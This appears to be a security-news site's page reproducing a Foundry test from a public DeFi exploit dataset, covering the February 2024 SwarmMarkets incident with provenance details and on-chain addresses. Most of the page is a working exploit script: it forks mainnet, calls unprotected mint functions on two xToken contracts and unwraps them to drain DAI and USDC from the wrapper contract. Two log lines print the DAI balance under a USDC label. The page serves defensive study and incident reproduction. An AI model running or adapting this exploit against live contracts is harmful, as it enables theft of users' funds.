Skip to content
THREATWIRE

Public reproduction file

src/test/2024-02/SwarmMarkets_exp.sol

Public reproduction file for dataset entry SwarmMarkets.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-02/SwarmMarkets_exp.sol56 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4// @KeyInfo - Total Lost : ~7729 $DAI $USDC
5// Attacker : https://etherscan.io/address/0x38f68f119243adbca187e1ef64344ed475a8c69c
6// Attack Contract : https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809
7// Vulnerable Contract : https://etherscan.io/address/0x2b9dc65253c035eb21778cb3898eab5a0ada0cce
8// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xa4d7ee2ddb9db06961a17e2a5ae71743a266bcb720be138670f4a10e8dfc13e9
9
10import "forge-std/Test.sol";
11import "./../interface.sol";
13interface IXTOKEN {
14 function mint(address account, uint256 amount) external;
15 function burnFrom(address account, uint256 amount) external;
18interface IXTOKENWrapper {
19 function unwrap(address _xToken, uint256 _amount) external;
22interface IPROXY {
23 function register(address addr, address _token, address _xToken) external;
26contract ContractTest is Test {
27 event TokenBalance(string key, uint256 val);
29 IXTOKEN XTOKEN = IXTOKEN(0xD08E245Fdb3f1504aea4056e2C71615DA7001440);
30 IXTOKEN XTOKEN2 = IXTOKEN(0x0a3fbF5B4cF80DB51fCAe21efe63f6a36D45d2B2);
31 IXTOKENWrapper wrapper = IXTOKENWrapper(0x2b9dc65253c035Eb21778cB3898eab5A0AdA0cCe);
32 IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
33 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
35 function setUp() public {
36 vm.createSelectFork("mainnet", 19_286_457 - 1);
37 vm.label(address(XTOKEN), "XTOKEN");
38 vm.label(address(XTOKEN2), "XTOKEN2");
39 vm.label(address(wrapper), "wrapper");
40 vm.label(address(DAI), "DAI");
41 vm.label(address(USDC), "USDC");
42 }
44 function testExploit() public {
45 emit log_named_decimal_uint("Attacker DAI balance before attack:", DAI.balanceOf(address(this)), 18);
46 emit log_named_decimal_uint("Attacker USDC balance before attack:", DAI.balanceOf(address(this)), 18);
47 XTOKEN.mint(address(this), DAI.balanceOf(address(wrapper)));
48 XTOKEN2.mint(address(this), USDC.balanceOf(address(wrapper)));
49 wrapper.unwrap(address(XTOKEN), DAI.balanceOf(address(wrapper)));
50 wrapper.unwrap(address(XTOKEN2), USDC.balanceOf(address(wrapper)));
51 emit log_named_decimal_uint("Attacker DAI balance after attack:", DAI.balanceOf(address(this)), 18);
52 emit log_named_decimal_uint("Attacker USDC balance after attack:", DAI.balanceOf(address(this)), 18);
53 }
55 fallback() external payable {}

Analysis

Dataset entry

Public Foundry test for “SwarmMarkets” (2024-02-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x38f68f119243adbca187e1ef64344ed475a8c69c

  • Attack Contract

    0x3aa228a80f50763045bdfc45012da124bd0a6809

  • Vulnerable Contract

    0x2b9dc65253c035eb21778cb3898eab5a0ada0cce

  • Attack Tx

    0xa4d7ee2ddb9db06961a17e2a5ae71743a266bcb720be138670f4a10e8dfc13e9

File record

Name
SwarmMarkets
Path
src/test/2024-02/SwarmMarkets_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
0dd807a712353ae63e4567dcbdc0ce8881015260
Language
Solidity
Size
57 lines
Date
2024-02-22
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-02/SwarmMarkets_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0dd807a712353ae63e4567dcbdc0ce8881015260, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.